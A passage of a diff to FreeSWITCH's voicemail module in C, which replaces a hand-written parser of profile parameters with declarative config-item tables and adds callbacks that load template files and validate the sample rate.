+				if ((email_body = strstr(email_headers, "\n\n"))) {
+					*email_body = '\0';
+					email_body += 2;
+				} else if ((email_body = strstr(email_headers, "\r\n\r\n"))) {
+					*email_body = '\0';
+					email_body += 4;
+				}
+			}
+			
+			free(stream.data);
+		}
+		
+		if (email_headers) {
+			profile->notify_email_headers = email_headers;
+		}
+		if (email_body) {
+			profile->notify_email_body = email_body;
+		}
 	}
+	
+	return SWITCH_STATUS_SUCCESS;
+}
 
-	for (x_profile = switch_xml_child(x_profiles, "profile"); x_profile; x_profile = x_profile->next) {
-		char *name = (char *) switch_xml_attr_soft(x_profile, "name");
-		char *odbc_dsn = NULL, *odbc_user = NULL, *odbc_pass = NULL;
-		char *terminator_key = "#";
-		char *play_new_messages_key = "1";
-		char *play_saved_messages_key = "2";
+static switch_status_t vm_config_web_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+{
+	vm_profile_t *profile = (vm_profile_t*)item->data;
+	
+	switch_assert(profile);
+		
+	if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
+	{
+		char *web_head = NULL, *web_tail = NULL;
+		if (newvalue) {
+			switch_stream_handle_t stream;
+			SWITCH_STANDARD_STREAM(stream);
+			if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {		
+				web_head = switch_core_strdup(profile->	pool, stream.data);
 
-		char *main_menu_key = "0";
-		char *skip_greet_key = "#";
-		char *config_menu_key = "5";
-		char *record_greeting_key = "1";
-		char *choose_greeting_key = "2";
-		char *record_name_key = "3";
-		char *change_pass_key = "6";
+				if ((web_tail = strstr(web_head, "<!break>\n"))) {
+					*web_tail = '\0';
+					web_tail += 9;
+				} else if ((web_tail = strstr(web_head, "<!break>\r\n"))) {
+					*web_tail = '\0';
+					web_tail += 10;
+				}
+			}
+		
+			free(stream.data);
+		}
+		
+		if (web_head) {
+			profile->web_head= web_head;
+		}
+		
+		if (web_tail) {
+			profile->web_tail = web_tail;
+		}
+	}
+	
+	return SWITCH_STATUS_SUCCESS;
+}
 
-		char *record_file_key = "3";
-		char *listen_file_key = "1";
-		char *save_file_key = "2";
-		char *delete_file_key = "7";
-		char *undelete_file_key = "8";
-		char *email_key = "4";
-		char *callback_key = "5";
-		char *pause_key = "0";
-		char *restart_key = "1";
-		char *ff_key = "6";
-		char *rew_key = "4";
-		char *urgent_key = "*";
-		char *operator_key = "";
-		char *operator_ext = "";
-		char *vmain_key = "";
-		char *vmain_ext = "";
-		char *forward_key = "8";
-		char *prepend_key = "1";
-		char *tone_spec = "%(1000, 0, 640)";
-		char *file_ext = "wav";
-		char *storage_dir = "";
-		char *callback_dialplan = "XML";
-		char *callback_context = "default";
-		char *email_body = NULL;
-		char *email_headers = NULL;
-		char *notify_email_body = NULL;
-		char *notify_email_headers = NULL;
-		char *email_from = "";
-		char *date_fmt = "%A, %B %d %Y, %I %M %p";
-		date_location_t play_date_announcement = VM_DATE_FIRST;
-		char *web_head = NULL;
-		char *web_tail = NULL;
-		uint32_t record_threshold = 200;
-		uint32_t record_silence_hits = 2;
-		uint32_t record_sample_rate = 0;
+static switch_status_t vm_config_validate_samplerate(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+{
+	if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) && newvalue) {
+		int val = *(int*)item->ptr;
+		if (!switch_is_valid_rate(val)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid samplerate %s\n", newvalue);
+			return SWITCH_STATUS_FALSE;
+		}
+	}
+	
+	return SWITCH_STATUS_SUCCESS;
+}
 
-		char *record_title = "FreeSWITCH Voicemail";
-		char *record_comment = "FreeSWITCH Voicemail";
-		char *record_copyright = "http://www.freeswitch.org";
+/*!
+ * \brief Sets the profile's configuration instructions 
+ */
+vm_profile_t *profile_set_config(vm_profile_t *profile)
+{
+	int i = 0;
+	
+	profile->config_str_pool.pool = profile->pool;
 
-		switch_bool_t auto_playback_recordings = SWITCH_TRUE;
+	/*
+	SWITCH _CONFIG_SET_ITEM(item, "key", type, flags, 
+		pointer, default, options, help_syntax, help_description)
+	*/
+	
+	/* DTMFs */	
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "terminator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->terminator_key, "#", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-new-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->play_new_messages_key, "1", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-saved-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->play_saved_messages_key, "2", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "login-keys", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->login_keys, "0", &config_login_keys, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "main-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->main_menu_key, "0", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "skip-greet-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->skip_greet_key, "#", &config_dtmf, NULL, NULL);		
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "skip-info-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+		&profile->skip_info_key, "", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "config-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->config_menu_key, "5", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->record_greeting_key, "1", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "choose-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->choose_greeting_key, "2", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-name-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->record_name_key, "3", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "change-pass-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->change_pass_key, "6", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->record_file_key, "3", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "listen-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->listen_file_key, "1", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "save-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->save_file_key, "2", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "delete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->delete_file_key, "7", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "undelete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->undelete_file_key, "8", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->email_key, "4", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->callback_key, "5", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "pause-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->pause_key, "0", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "restart-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->restart_key, "1", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "ff-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->ff_key, "6", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "rew-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->rew_key, "4", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "previous-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                &profile->prev_msg_key, "", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                &profile->next_msg_key, "", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "urgent-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->urgent_key, "*", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->operator_key, "", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->operator_ext, "", NULL, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->vmain_key, "", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->vmain_ext, "", &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "forward-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->forward_key, "8", &config_dtmf, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prepend-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->prepend_key, "1", &config_dtmf, NULL, NULL);
 
-		switch_core_db_t *db;
-		uint32_t timeout = 10000, max_login_attempts = 3, max_record_len = 300, min_record_len = 3;
+	/* Other settings */
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "file-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->file_ext, "wav", &config_file_ext, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-title", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->record_title, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-comment", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->record_comment, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-copyright", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->record_copyright, "http://www.freeswitch.org", &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-ext", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->operator_ext, "", &profile->config_str_pool, NULL, NULL);
 
-		db = NULL;
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "tone-spec", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->tone_spec, "%(1000, 0, 640)", &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "storage-dir", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->storage_dir, "", &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-dialplan", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->callback_dialplan, "XML", &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-context", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->callback_context, "default", &profile->config_str_pool, NULL, NULL);
+		
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->notify_email_body, NULL, &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->notify_email_headers, NULL, &profile->config_str_pool, NULL, NULL);
 
-		if ((x_email = switch_xml_child(x_profile, "email"))) {
-			if ((param = switch_xml_child(x_email, "body"))) {
-				email_body = switch_core_strdup(globals.pool, param->txt);
-			}
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-date-announcement", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, 
+		&profile->play_date_announcement, VM_DATE_FIRST, &config_play_date_announcement, NULL, NULL);
+		
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "digit-timeout", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
+		&profile->digit_timeout, 10000, &config_int_digit_timeout, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-login-attempts", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
+		&profile->max_login_attempts, 3, &config_int_max_logins, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "min-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
+		&profile->min_record_len, 3, &config_int_0_10000, "seconds", NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
+		&profile->max_record_len, 300, &config_int_0_1000, "seconds", NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-retries", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
+		&profile->max_retries, 3, &config_int_ht_0, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-threshold", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
+		&profile->record_threshold, 200, &config_int_0_10000, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-hits", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
+		&profile->record_silence_hits, 2, &config_int_0_1000, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "record-sample-rate", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
+		&profile->record_sample_rate, 8000, NULL, vm_config_validate_samplerate, NULL, NULL);
 
-			if ((param = switch_xml_child(x_email, "headers"))) {
-				email_headers = switch_core_strdup(globals.pool, param->txt);
-			}
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->email_headers, NULL, &profile->config_str_pool, NULL, NULL);	
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->email_body, NULL, &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_email-from", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->email_from, NULL, &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_date-fmt", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
+		&profile->date_fmt, "%A, %B %d %Y, %I %M %p", &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM(profile->config[i++], "odbc-dsn", SWITCH_CONFIG_STRING, 0,
+		&profile->odbc_dsn, NULL, &profile->config_str_pool, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE, 
+		NULL, NULL, profile, vm_config_email_callback, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_notify-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE, 
+		NULL, NULL, profile, vm_config_notify_callback, NULL, NULL);
+	SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "web-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE, 
+		NULL, NULL, profile, vm_config_web_callback, NULL, NULL);
+		
+	switch_assert(i < VM_PROFILE_CONFIGITEM_COUNT);
+	
+	return profile;
 
-			for (param = switch_xml_child(x_email, "param"); param; param = param->next) {
-				char *var, *val;
+}
 
-				var = (char *) switch_xml_attr_soft(param, "name");
-				val = (char *) switch_xml_attr_soft(param, "value");
+static vm_profile_t * load_profile(const char *profile_name)
+{
+	vm_profile_t *profile = NULL;
+	switch_xml_t x_profiles, x_profile, cfg, xml, x_email, param;
+	switch_event_t *event = NULL;
 
-				if (!strcasecmp(var, "date-fmt") && !switch_strlen_zero(val)) {
-					date_fmt = val;
-				} else if (!strcasecmp(var, "email-from") && !switch_strlen_zero(val)) {
-					email_from = val;
-				} else if (!strcasecmp(var, "template-file") && !switch_strlen_zero(val)) {
-					switch_stream_handle_t stream = { 0 };
-					int fd;
-					char *dpath = NULL;
-					char *path;
+	if (!(xml = switch_xml_open_cfg(global_cf, &cfg, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", global_cf);
+		return profile;
+	}
+	if (!(x_profiles = switch_xml_child(cfg, "profiles"))) {
+		goto end;
+	}
 
-					if (switch_is_file_path(val)) {
-						path = val;
-					} else {
-						dpath = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.conf_dir, SWITCH_PATH_SEPARATOR, val);
-						path = dpath;
-					}
+	if ((x_profile = switch_xml_find_child(x_profiles, "profile", "name", profile_name))) {
+		switch_memory_pool_t *pool;
+		switch_core_db_t *db = NULL;
+		int x, count;
 
-					if ((fd = open(path, O_RDONLY)) > -1) {
-						char buf[2048];
-						SWITCH_STANDARD_STREAM(stream);
-						while (switch_fd_read_line(fd, buf, sizeof(buf))) {
-							stream.write_function(&stream, "%s", buf);
-						}
-						close(fd);
-						email_headers = stream.data;
-						if ((email_body = strstr(email_headers, "\n\n"))) {
-							*email_body = '\0';
-							email_body += 2;
-						} else if ((email_body = strstr(email_headers, "\r\n\r\n"))) {
-							*email_body = '\0';
-							email_body += 4;
-						}
-					}
-					switch_safe_free(dpath);
-				} else if (!strcasecmp(var, "notify-template-file") && !switch_strlen_zero(val)) {
-					switch_stream_handle_t stream = { 0 };
-					int fd;
-					char *dpath = NULL;
-					char *path;
+		if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Pool Failure\n");
+			goto end;
+		}
 
-					if (switch_is_file_path(val)) {
-						path = val;
-					} else {
-						dpath = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.conf_dir, SWITCH_PATH_SEPARATOR, val);
-						path = dpath;
-					}
+		if (!(profile = switch_core_alloc(pool, sizeof(vm_profile_t)))) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Alloc Failure\n");
+			switch_core_destroy_memory_pool(&pool);
+			goto end;
+		}
 
-					if ((fd = open(path, O_RDONLY)) > -1) {
-						char buf[2048];
-						SWITCH_STANDARD_STREAM(stream);
-						while (switch_fd_read_line(fd, buf, sizeof(buf))) {
-							stream.write_function(&stream, "%s", buf);
-						}
-						close(fd);
-						notify_email_headers = stream.data;
-						if ((notify_email_body = strstr(notify_email_headers, "\n\n"))) {
-							*notify_email_body = '\0';
-							notify_email_body += 2;
-						} else if ((notify_email_body = strstr(notify_email_headers, "\r\n\r\n"))) {
-							*notify_email_body = '\0';
-							notify_email_body += 4;
-						}
-					}
-					switch_safe_free(dpath);
+		profile->pool = pool;
+		profile_set_config(profile);
+
+		/* Add the params to the event structure */
+		count = switch_event_import_xml(switch_xml_child(x_profile, "param"), "name", "value", &event);
+
+		/* Take care of the custom config structure */
+		if ((x_email = switch_xml_child(x_profile, "email"))) {
+			if ((param = switch_xml_child(x_email, "body"))) {
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "email_body", param->txt);
+			}
+			if ((param = switch_xml_child(x_email, "headers"))) {
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "email_headers", param->txt);
+			}
+			
+			for (param = switch_xml_child(x_email, "param"); param; param = param->next) {
+				char *var, *val;
+				char buf[2048];
+				
+				if ((var = (char *) switch_xml_attr_soft(param, "name")) && 
+					(val = (char *) switch_xml_attr_soft(param, "value"))) {
+					switch_snprintf(buf, 2048, "email_%s", var);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, buf, val);					
 				}
 			}
 		}
 
-		for (param = switch_xml_child(x_profile, "param"); param; param = param->next) {
-			char *var, *val;
+		
+		if (switch_xml_config_parse_event(event, count, SWITCH_FALSE, profile->config) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to process configuration\n");
+			switch_core_destroy_memory_pool(&pool);
+			goto end;
+		}
+		
+		switch_thread_rwlock_create(&profile->rwlock, pool);
+		profile->name = switch_core_strdup(pool, profile_name);
 
-			var = (char *) switch_xml_attr_soft(param, "name");
-			val = (char *) switch_xml_attr_soft(param, "value");
-
-			if (!strcasecmp(var, "terminator-key") && !switch_strlen_zero(val)) {
-				terminator_key = val;
-			} else if (!strcasecmp(var, "web-template-file") && !switch_strlen_zero(val)) {
-				switch_stream_handle_t stream = { 0 };
-				int fd;
-				char *dpath = NULL;
-				char *path;
-
-				if (switch_is_file_path(val)) {
-					path = val;
-				} else {
-					dpath = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.conf_dir, SWITCH_PATH_SEPARATOR, val);
-					path = dpath;
+		if (!switch_strlen_zero(profile->odbc_dsn)) {
+			if ((profile->odbc_user = strchr(profile->odbc_dsn, ':'))) {
+				*(profile->odbc_user++) = '\0';
+				if ((profile->odbc_pass = strchr(profile->odbc_user, ':'))) {
+					*(profile->odbc_pass++) = '\0';
 				}
-
-				if ((fd = open(path, O_RDONLY)) > -1) {
-					char buf[2048];
-					SWITCH_STANDARD_STREAM(stream);
-					while (switch_fd_read_line(fd, buf, sizeof(buf))) {
-						stream.write_function(&stream, "%s", buf);
-					}
-					close(fd);
-					web_head = stream.data;
-					if ((web_tail = strstr(web_head, "<!break>\n"))) {
-						*web_tail = '\0';
-						web_tail += 9;
-					} else if ((web_tail = strstr(web_head, "<!break>\r\n"))) {
-						*web_tail = '\0';
-						web_tail += 10;
-					}
-				}
-				switch_safe_free(dpath);
-			} else if (!strcasecmp(var, "play-new-messages-key") && !switch_strlen_zero(val)) {
-				play_new_messages_key = val;
-			} else if (!strcasecmp(var, "play-saved-messages-key") && !switch_strlen_zero(val)) {
-				play_saved_messages_key = val;
-			} else if (!strcasecmp(var, "main-menu-key") && !switch_strlen_zero(val)) {
-				main_menu_key = val;
-			} else if (!strcasecmp(var, "skip-greet-key") && val && (!*val || is_dtmf(*val))) {
-				skip_greet_key = val;
-			} else if (!strcasecmp(var, "config-menu-key") && !switch_strlen_zero(val)) {
-				config_menu_key = val;
-			} else if (!strcasecmp(var, "record-greeting-key") && !switch_strlen_zero(val)) {
-				record_greeting_key = val;
-			} else if (!strcasecmp(var, "choose-greeting-key") && !switch_strlen_zero(val)) {
-				choose_greeting_key = val;
-			} else if (!strcasecmp(var, "record-name-key") && !switch_strlen_zero(val)) {
-				record_name_key = val;
-			} else if (!strcasecmp(var, "change-pass-key") && !switch_strlen_zero(val)) {
-				change_pass_key = val;
-			} else if (!strcasecmp(var, "listen-file-key") && !switch_strlen_zero(val)) {
-				listen_file_key = val;
-			} else if (!strcasecmp(var, "save-file-key") && !switch_strlen_zero(val)) {
-				save_file_key = val;
-			} else if (!strcasecmp(var, "delete-file-key") && !switch_strlen_zero(val)) {
-				delete_file_key = val;
-			} else if (!strcasecmp(var, "undelete-file-key") && !switch_strlen_zero(val)) {
-				undelete_file_key = val;
-			} else if (!strcasecmp(var, "email-key") && !switch_strlen_zero(val)) {
-				email_key = val;
-			} else if (!strcasecmp(var, "callback-key") && !switch_strlen_zero(val)) {
-				callback_key = val;
-			} else if (!strcasecmp(var, "pause-key") && !switch_strlen_zero(val)) {
-				pause_key = val;
-			} else if (!strcasecmp(var, "restart-key") && !switch_strlen_zero(val)) {
-				restart_key = val;
-			} else if (!strcasecmp(var, "ff-key") && !switch_strlen_zero(val)) {
-				ff_key = val;
-			} else if (!strcasecmp(var, "rew-key") && !switch_strlen_zero(val)) {
-				rew_key = val;
-			} else if (!strcasecmp(var, "urgent-key") && !switch_strlen_zero(val)) {
-				urgent_key = val;
-			} else if (!strcasecmp(var, "operator-key") && !switch_strlen_zero(val)) {
-				operator_key = val;
-			} else if (!strcasecmp(var, "operator-extension") && !switch_strlen_zero(val)) {
-				operator_ext = val;
-			} else if (!strcasecmp(var, "vmain-key") && !switch_strlen_zero(val)) {
-				vmain_key = val;
-			} else if (!strcasecmp(var, "forward-key") && !switch_strlen_zero(val)) {
-				forward_key = val;
-			} else if (!strcasecmp(var, "prepend-key") && !switch_strlen_zero(val)) {
-				prepend_key = val;
-			} else if (!strcasecmp(var, "vmain-extension") && !switch_strlen_zero(val)) {
-				vmain_ext = val;
-			} else if (!strcasecmp(var, "storage-dir") && !switch_strlen_zero(val)) {
-				storage_dir = val;
-			} else if (!strcasecmp(var, "callback-dialplan") && !switch_strlen_zero(val)) {
-				callback_dialplan = val;
-			} else if (!strcasecmp(var, "callback-context") && !switch_strlen_zero(val)) {
-				callback_context = val;
-			} else if (!strcasecmp(var, "file-extension") && !switch_strlen_zero(val)) {
-				file_ext = val;
-			} else if (!strcasecmp(var, "play-date-announcement") && !switch_strlen_zero(val)) {
-				if (!strcmp("last", val)) {
-					play_date_announcement = VM_DATE_LAST;
-				} else if (!strcmp("never", val)) {
-					play_date_announcement = VM_DATE_NEVER;
-				}
-			} else if (!strcasecmp(var, "record-title") && !switch_strlen_zero(val)) {
-				record_title = val;
-			} else if (!strcasecmp(var, "record-comment") && !switch_strlen_zero(val)) {
-				record_comment = val;
-			} else if (!strcasecmp(var, "record-copyright") && !switch_strlen_zero(val)) {
-				record_copyright = val;
-			} else if (!strcasecmp(var, "record-silence-threshold")) {
-				int tmp = 0;
-				if (!switch_strlen_zero(val)) {
-					tmp = atoi(val);
-				}
-				if (tmp >= 0 && tmp <= 10000) {
-					record_threshold = tmp;
-				} else {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid threshold value [%s] must be between 0 and 10000 ms\n", val);
-				}
-			} else if (!strcasecmp(var, "record-sample-rate")) {
-				int tmp = 0;
-				if (!switch_strlen_zero(val)) {
-					tmp = atoi(val);
-				}
-				if (tmp == 8000 || tmp == 16000 || tmp == 32000 || tmp == 11025 || tmp == 22050 || tmp == 44100) {
-					record_sample_rate = tmp;
-				} else {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid samplerate %s\n", val);
-				}
-			} else if (!strcasecmp(var, "record-silence-hits")) {
-				int tmp = 0;
-				if (!switch_strlen_zero(val)) {
-					tmp = atoi(val);
-				}
-				if (tmp >= 0 && tmp <= 1000) {
-					record_silence_hits = tmp;
-				} else {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid threshold value [%s] must be between 0 and 1000 ms\n", val);
-				}
-			} else if (!strcasecmp(var, "tone-spec") && !switch_strlen_zero(val)) {
-				tone_spec = val;
-			} else if (!strcasecmp(var, "digit-timeout")) {
-				int tmp = 0;
-				if (!switch_strlen_zero(val)) {
-					tmp = atoi(val);
-				}
-				if (tmp >= 1000 && tmp <= 30000) {
-					timeout = tmp;
-				} else {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid timeout value [%s] must be between 1000 and 30000 ms\n", val);
-				}
-			} else if (!strcasecmp(var, "max-login-attempts")) {
-				int tmp = 0;
-				if (!switch_strlen_zero(val)) {
-					tmp = atoi(val);
-				}
-				if (tmp > 0 && tmp < 11) {
-					max_login_attempts = tmp;
-				} else {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid attempts [%s] must be between 1 and 10 ms\n", val);
-				}
-			} else if (!strcasecmp(var, "min-record-len")) {
-				int tmp = 0;
-				if (!switch_strlen_zero(val)) {
-					tmp = atoi(val);
-				}
-				if (tmp > 0 && tmp < 10000) {
-					min_record_len = tmp;
-				} else {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid record length [%s] must be between 1 and 10000s\n", val);
-				}
-			} else if (!strcasecmp(var, "max-record-len")) {
-				int tmp = 0;
